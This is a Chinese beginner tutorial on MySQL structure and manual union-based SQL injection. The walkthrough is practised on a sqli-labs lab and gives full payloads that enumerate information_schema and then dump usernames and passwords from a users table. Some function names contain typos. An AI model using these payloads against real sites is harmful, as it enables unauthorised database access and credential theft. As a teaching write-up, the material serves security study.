一、作为一个半道出家的萌新,深知在
二、MySQL
知己知彼,百战不殆,要想玩好SQL注入必须了解
1、库(database):MySQL
图书馆:
而在数据库中它是这样的:
2、表(table):表可以理解为存在于库中的二级目录,接上例子:类似于图书馆里的的书架,一个书架就是一个表,书架上贴的分类标签就是表名。
书架:
而在数据库中是这样的:
3、列(column):列是存在于表中的目录,一个表中存在一个或多个列,继续接上例子,假设表是书架,那么列可以理解为书架中的格子,格子上又贴着细分的标签,那么标签就是列名。
书架上的标签:
在数据库中他是这样的:
4、值/字段内容(value):值是存在于列中的数据,还是上面的例子,那么值就好理解了,那就是书了,这里不再配图。
为了更直观这里用PHPstudy里的数据库web管理页面展示,它在数据库中是下图这样的:
5、information_schema库介绍
information_schema数据库是Mysql下的一个存放其他数据库所有内容的信息数据库,它有多个表,通常所有的查询都要经过这个库查询,这里只对个别相关的表做介绍。
Schema表:
schema表有五个列,其中schema_name是用来存放数据库库名的列。
tables表:
tables表用来存储所有数据库里的表名等信息,其中table_schema列用来存放所有数据库的库名,table_name用来存放MySQL数据库中的所有表名。
columns表:
columns表用来存放数据库里的所有字段信息其中table_schema列用来存放数据库库名,table_name列用来存放所有数据库里的所有表名,column_name列用来存放所有的字段/内容(值)。
三、手工注入简介
了解了数据库结构了,下面这里进行以下简单的复现,这里使用的环境是phpstudy+sqli-lab
1.单引号报错
2.and 1=1 判断,返回正常
3.and 1=2 ,返回错误
4.判断出注入时,首先利用order by子句(默认升序)结合折中法,爆出当前列数,猜到4时报错,猜到3时正常,说明列数为3。
5.爆出的长度为3,参数值想办法让其报错(可以加负号等),然后进行联合查询?id=-1 union select 1,2,3 爆出位置2和3。
6.爆出2,3的位置后,尝试用内置函数读取库名等信息,这里补充下常见的内置函数。
version()--mysql版本
user()--数据库用户
database()--数据库名
@datadir--数据库路径
@@versioncompileos--操作系统
继续接上,这里用在2,3的位置上查询user和库名,?id=-1 union select
1,user(),dabatase() ,爆出了账户、登陆方式和数据库名。
7.接下来爆表名,这就用到了上面的information_schema这个库,在2或者3的位置构造查询语句,细分四个部分:
(1)用点连接库下存放表名的tables表
(2)然后用where来精确查询存放在table_schema中的库名
(3)用limit函数来进行遍历
(4)用-- 注释防止报错
最终payload为:union select 1,2,table_name from information_schema.tables where table_schema=’security’ limit 1,1 --+
爆出了users表
8.爆出表名后,接下来爆想要的列名,思路如上,遍历出想要的字段,username和password。
最终payload为:union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 1,1 --+
修改limit函数遍历第二个想要的列名 union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 2,1 --+
9.最后进行常规联合查询即可 payload: union select 1,username,password from users limit 1,1 --+
Ps:不一定需要limit() 还有许多函数,其他自行百度,如有错误请指教,谢谢。